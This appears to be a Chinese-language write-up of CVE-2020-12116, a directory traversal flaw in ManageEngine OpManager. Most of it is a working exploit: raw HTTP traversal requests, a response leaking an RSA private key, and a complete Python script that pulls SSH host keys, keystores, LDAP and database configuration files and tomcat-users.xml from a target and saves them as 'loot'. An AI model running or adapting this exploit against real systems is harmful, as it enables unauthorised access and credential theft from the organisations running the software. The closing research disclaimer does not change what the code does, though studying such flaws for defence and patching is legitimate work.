目录导航
GitHub
https://github.com/BeetleChunks/CVE-2020-12116
CVE-2020-12116漏洞摘要
最新版本的OpManger包含一个目录遍历漏洞
该漏洞允许不受限制地访问OpManager应用程序中的每个文件。
这包括私有SSH密钥,受密码保护的Java密钥库以及包含密钥库,私有证书和后端数据库的密码的配置文件。如果配置了LDAP,则可以从“ conf / OpManager / ldap.conf”获得域凭据。
漏洞分析
默认情况下,在端口8060上,对ManageEngine OpManager Application的根目录发出未经身份验证的GET请求。
GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
响应HTML将包含缓存的javascript“ src” URL。
<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>
上面的摘录“ SRC” URL包含一个目录遍历漏洞,允许从ManageEngine根安装目录读取任意文件。默认情况下,安装路径为“ C:\ Program Files \ ManageEngine \ OpManager”。
注意:“ / cachestart /”后面的数字是产品内部版本号,但是可以使用任何数字来利用此漏洞。
利用响应HTML中的脚本源URL,可以利用带有目录遍历的GET请求从远程服务器读取任意文件。
请求:
GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/
响应:
HTTP/1.1 200
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902
-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----

使用提供的Python3利用代码的示例
概述:
此脚本利用针对ManageEngine的任意文件读取漏洞
OpManager端点下载敏感文件,如私钥、私钥
密钥库、证书、包含密码的配置文件等。
命令:
python3 exploit.py -t <hostname/IP> -p 8060 -d ./
输出:
[+] bin/.ssh_host_dsa_key saved to ./bin|.ssh_host_dsa_key
[+] bin/.ssh_host_dsa_key.pub saved to ./bin|.ssh_host_dsa_key.pub
[+] bin/.ssh_host_rsa_key saved to ./bin|.ssh_host_rsa_key
[+] bin/.ssh_host_rsa_key.pub saved to ./bin|.ssh_host_rsa_key.pub
[+] conf/client.keystore saved to ./conf|client.keystore
[+] conf/customer-config.xml saved to ./conf|customer-config.xml
[+] conf/database_params.conf saved to ./conf|database_params.conf
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml saved to ./conf|FirewallAnalyzer|aaa_auth-conf.xml
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml saved to ./conf|FirewallAnalyzer|auth-conf_ppm.xml
[+] conf/gateway.conf saved to ./conf|gateway.conf
[+] conf/itom.truststore saved to ./conf|itom.truststore
[+] conf/netflow/auth-conf.xml saved to ./conf|netflow|auth-conf.xml
[+] conf/netflow/server.xml saved to ./conf|netflow|server.xml
[+] conf/netflow/ssl_server.xml saved to ./conf|netflow|ssl_server.xml
[+] conf/NFAEE/cs_server.xml saved to ./conf|NFAEE|cs_server.xml
[+] conf/OpManager/database_params.conf saved to ./conf|OpManager|database_params.conf
[+] conf/OpManager/database_params_DE.conf saved to ./conf|OpManager|database_params_DE.conf
[+] conf/OpManager/ldap.conf saved to ./conf|OpManager|ldap.conf
[+] conf/OpManager/MicrosoftSQL/database_params.conf saved to ./conf|OpManager|MicrosoftSQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params.conf saved to ./conf|OpManager|POSTGRESQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf saved to ./conf|OpManager|POSTGRESQL|database_params_DE.conf
[+] conf/OpManager/securitydbData.xml saved to ./conf|OpManager|securitydbData.xml
[+] conf/OpManager/SnmpDefaultProperties.xml saved to ./conf|OpManager|SnmpDefaultProperties.xml
[+] conf/Oputils/snmp/Community.xml saved to ./conf|Oputils|snmp|Community.xml
[+] conf/Persistence/DBconfig.xml saved to ./conf|Persistence|DBconfig.xml
[+] conf/Persistence/persistence-configurations.xml saved to ./conf|Persistence|persistence-configurations.xml
[+] conf/pmp/PMP_API.conf saved to ./conf|pmp|PMP_API.conf
[+] conf/pmp/pmp_server_cert.p12 saved to ./conf|pmp|pmp_server_cert.p12
[+] conf/product-config.xml saved to ./conf|product-config.xml
[+] conf/SANSeed.xml saved to ./conf|SANSeed.xml
[+] conf/server.keystore saved to ./conf|server.keystore
[+] conf/server.xml saved to ./conf|server.xml
[+] conf/system_properties.conf saved to ./conf|system_properties.conf
[+] conf/tomcat-users.xml saved to ./conf|tomcat-users.xml
[+] lib/OPM_APNS_Cert.p12 saved to ./lib|OPM_APNS_Cert.p12
Exploit.py
import os
import argparse
import urllib.error
from urllib.request import urlopen
from random import randint
def save_to_file(data, dest_file):
with open(dest_file, "wb") as file_out:
file_out.write(data)
def exploit(host, port, target_file, ssl=False):
uri = f"/cachestart/{randint(1,6)}/cacheend/apiclient"
uri += f"/fluidicv2/javascript/jquery/../../../../{target_file}"
port = str(int(port))
if ssl == True:
if port == "443":
base_url = f"https://{host}"
else:
base_url = f"https://{host}:{port}"
elif ssl == False:
if port == "80":
base_url = f"http://{host}"
else:
base_url = f"http://{host}:{port}"
url = f"{base_url}{uri}"
resp = urlopen(url)
data = resp.read()
return data
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', action="store", dest="target",
default=None, help="Target IP or hostname to exploit")
parser.add_argument('-p', action="store", dest="port",
type=int, default=8060, help="Remote port of the target")
parser.add_argument('-d', action="store", dest="loot_dir",
default="./", help="Directory to store loot")
parser.add_argument('-s', action='store_true', dest="arg_ssl",
default=False, help="Target uses SSL")
args = parser.parse_args()
if args.target == None:
print("Error: You must specify the target host with the '-t' flag")
os._exit(1)
target_files = [
"bin/.ssh_host_dsa_key",
"bin/.ssh_host_dsa_key.pub",
"bin/.ssh_host_rsa_key",
"bin/.ssh_host_rsa_key.pub",
"conf/client.keystore",
"conf/customer-config.xml",
"conf/database_params.conf",
"conf/FirewallAnalyzer/aaa_auth-conf.xml",
"conf/FirewallAnalyzer/auth-conf_ppm.xml",
"conf/gateway.conf",
"conf/itom.truststore",
"conf/netflow/auth-conf.xml",
"conf/netflow/server.xml",
"conf/netflow/ssl_server.xml",
"conf/NFAEE/cs_server.xml",
"conf/OpManager/database_params.conf",
"conf/OpManager/database_params_DE.conf",
"conf/OpManager/ldap.conf",
"conf/OpManager/MicrosoftSQL/database_params.conf",
"conf/OpManager/POSTGRESQL/database_params.conf",
"conf/OpManager/POSTGRESQL/database_params_DE.conf",
"conf/OpManager/securitydbData.xml",
"conf/OpManager/SnmpDefaultProperties.xml",
"conf/Oputils/snmp/Community.xml",
"conf/Persistence/DBconfig.xml",
"conf/Persistence/persistence-configurations.xml",
"conf/pmp/PMP_API.conf",
"conf/pmp/pmp_server_cert.p12",
"conf/product-config.xml",
"conf/SANSeed.xml",
"conf/server.keystore",
"conf/server.xml",
"conf/system_properties.conf",
"conf/tomcat-users.xml",
"lib/OPM_APNS_Cert.p12"
]
for file in target_files:
try:
data = exploit(args.target, args.port, file, ssl=False)
except urllib.error.HTTPError as e:
print(f"[-] {file} - {str(e)}")
continue
dest = args.loot_dir + file.replace('/', '|').strip()
save_to_file(data, dest)
print(f"[+] {file} saved to {dest}")
if __name__ == '__main__':
main()
免责声明
此概念证明代码是为学术研究而创建的,除非明确授权,否则不得将其用于系统。该代码按原样提供,没有任何保证或承诺。我对滥用此代码概不负责。